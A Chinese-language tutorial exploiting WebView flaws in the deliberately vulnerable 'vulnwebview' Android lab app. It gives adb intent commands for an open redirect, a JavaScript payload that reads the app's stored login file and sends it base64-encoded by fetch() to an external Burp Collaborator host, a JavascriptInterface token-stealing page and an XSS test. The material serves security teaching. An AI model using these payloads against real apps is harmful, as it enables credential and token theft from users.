利用Android WebView漏洞

0x00 说明

测试程序来源:

https://github.com/t4kemyh4nd/vulnwebview

可以直接下载app.apk进行测试

下载安装后打开长下面的样子,Username:vuln Password:webview

需要登录一下

img

0x01 Android WebView说明

WebView是Android类的扩展,允许将网页显示在Activity页面布局中,但是没有所有的Web浏览器的功能,如导航栏或者地址栏。默认只显示一个网页。

0x02 导出的WebView

利用导出的WebView,可以进行WebView劫持,常见的就是开放重定向漏洞,利用条件webview所在的Activity需要是导出的

如何判断导出,有两种方式:

  • 显示的声明android:exported=”true”
  • 使用intent filters并且没有显示的声明android:exported=”false”

img

RegistrationWebView是显示导出的,MainActivity是intent filters导出的。

分析受害者代码:

RegistrationWebView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.tmh.vulnwebview;

import android.os.Bundle;
import android.util.Log;
import android.webkit.ConsoleMessage;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes.dex */
public class RegistrationWebView extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_registration_web_view);
setTitle("Registration page");
loadWebView();
}

private void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview);
webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1
@Override // android.webkit.WebChromeClient
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());
return true;
}
});
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
webView.getSettings().setJavaScriptEnabled(true);
if (getIntent().getExtras().getBoolean("is_reg", false)) {
webView.loadUrl("file:///android_asset/registration.html");
} else {
webView.loadUrl(getIntent().getStringExtra("reg_url"));
}
}
}

可以看到loadWebView方法获取传输过来的reg_url参数的值,直接在webview中加载,上面代码没有任何过滤可以直接用于开放重定向。

利用:

可以使用adb进行利用,传输参数打开恶意网页。

概念利用命令

1
adb shell am start -n componentname --es string "domain.com"

实际利用命令

1
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://attack.com"
1
2
λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://www.baidu.com"
Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }

img

注意:上述方法仅在直接导出组件时才有效,不适用Intent filters导出的组件。

0x03 WebView启用setAllowUniversalAccessFromFileURLs

开启setAllowUniversalAccessFromFileURLs(可以访问文件),配合开启setJavaScriptEnabled(可以运行js脚本)选项,在加上导出的WebView,可以导致攻击者读取任意文件漏洞。

分析代码:

img

上面代码已经开启了选项

利用:

尝试读取本地文件存储的登录信息。使用Burp Collaborator client接收登录信息

susafu.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
var url='file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'//本地文件路径
function load(url){
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(xhr.readyState === 4){
fetch('https://bjyuns1ez806dh912ethipox4oafy4.burpcollaborator.net/?exfiltrated='+btoa(xhr.responseText));//发送 b64 encoded文件给攻击者
}
}
xhr.open('GET',url,true);
xhr.send('');
}
load(url)
</script>

用adb把sauafu.html移动到sd卡中

1
2
λ adb push sauafu.html /sdcard/
sauafu.html: 1 file pushed, 0 skipped. 1.0 MB/s (467 bytes in 0.000s)

尝试运行利用命令

1
2
λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html"
Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }

执行成功后会打开一个空页面,然后查看burp中接收的信息

img

img

然后burp collaborator成功收到请求,解密后就是登录信息

0x04 WebView启用JavaScript选项

开发可以使用以下配置启用javascript

1
webView.getSettings().setJavaScriptEnabled(true);

添加下面配置会在网页的java script脚本和应用程序的客户端java代码之间创建接口。即,网页的javascript脚本可以访问原生的java代码并将代码注入到程序中。

1
webView.addJavascriptInterface(new WebAppInterface(this), "Android");  

如果当前的Activity是导出的并允许攻击者执行攻击,可能导致XSS和token盗取。

受害代码:

SupportWebView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.tmh.vulnwebview;

import android.os.Bundle;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;

/* loaded from: classes.dex */
public class SupportWebView extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_support_web_view);
setTitle("Support");
loadWebView();
}

public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}

public static String getUserToken() {
String uuid = UUID.randomUUID().toString();
return uuid;
}
}

上面代码可以看到已经启用javascript,还有定义的接口声明Android

WebAppInterface

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.tmh.vulnwebview;

import android.content.Context;
import android.webkit.JavascriptInterface;

/* loaded from: classes.dex */
public class WebAppInterface {
Context mContext;

/* JADX INFO: Access modifiers changed from: package-private */
public WebAppInterface(Context c) {
this.mContext = c;
}

@JavascriptInterface
public String getUserToken() {
return SupportWebView.getUserToken();
}
}

接口的内容是获取usertoken

攻击代码:

token.html

1
2
3
<script type="text/javascript">
document.write("token:"+Android.getUserToken());
</script>

以上脚本是从Android接口调用getUserToken方法并写入token

本地启动web服务

1
python3 -m http.server 8888

可以使用下面链接访问token.html

http://192.168.1.4:8888/token.html

攻击命令:

1
adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "http://192.168.1.4:8888/token.html"

img

上面造成token获取

也可以进行xss攻击

1
2
3
<script type="text/javascript">
alert("kal")
</script>

img

利用 Android WebView 漏洞